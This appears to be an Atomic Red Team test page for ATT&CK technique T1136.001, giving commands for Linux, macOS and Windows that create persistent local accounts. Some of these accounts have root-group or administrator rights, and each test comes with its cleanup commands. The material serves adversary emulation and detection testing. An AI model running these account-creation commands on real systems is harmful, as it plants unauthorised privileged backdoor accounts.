T1136.001
Create Account: Local Account
Description from ATT&CK
Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username.(Citation: cisco_username_cmd)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Atomic Tests
Atomic Test #1 - Create a user account on a Linux system
Create a user via useradd
Supported Platforms: linux
auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | string | evil_user |
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
2
useradd -M -N -r -s /bin/bash -c evil_account #{username}
Cleanup Commands:
1
2
userdel #{username}
Atomic Test #2 - Create a user account on a MacOS system
Creates a user on a MacOS system with dscl
Supported Platforms: macos
auto_generated_guid: 01993ba5-1da3-4e15-a719-b690d4f0f0b2
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | string | evil_user |
realname | 'realname' to record when creating the user | string | Evil Account |
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
2
3
4
5
6
7
dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/zsh
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
Cleanup Commands:
1
2
dscl . -delete /Users/#{username}
Atomic Test #3 - Create a new user in a command prompt
Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"
Supported Platforms: windows
auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | string | T1136.001_CMD |
password | Password of the user to create | string | T1136.001_CMD! |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
1
2
net user /add "#{username}" "#{password}"
Cleanup Commands:
1
2
net user /del "#{username}" >nul 2>&1
Atomic Test #4 - Create a new user in PowerShell
Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
Supported Platforms: windows
auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | string | T1136.001_PowerShell |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
1
2
New-LocalUser -Name "#{username}" -NoPassword
Cleanup Commands:
1
2
Remove-LocalUser -Name "#{username}" -ErrorAction Ignore
Atomic Test #5 - Create a new user in Linux with 1
root
UID and GID.
1 | root |
Creates a new user in Linux and adds the user to the
group. This technique was used by adversaries during the Butter attack campaign.1
root
Supported Platforms: linux
auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | string | butter |
password | Password of the user to create | string | BetterWithButter |
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
2
3
useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;
Cleanup Commands:
1
2
userdel #{username}
Atomic Test #6 - Create a new Windows admin user
Creates a new admin user in a command prompt.
Supported Platforms: windows
auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
username | Username of the user to create | string | T1136.001_Admin |
password | Password of the user to create | string | T1136_pass |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
1
2
3
net user /add "#{username}" "#{password}"
net localgroup administrators "#{username}" /add
Cleanup Commands:
1
2
net user /del "#{username}" >nul 2>&1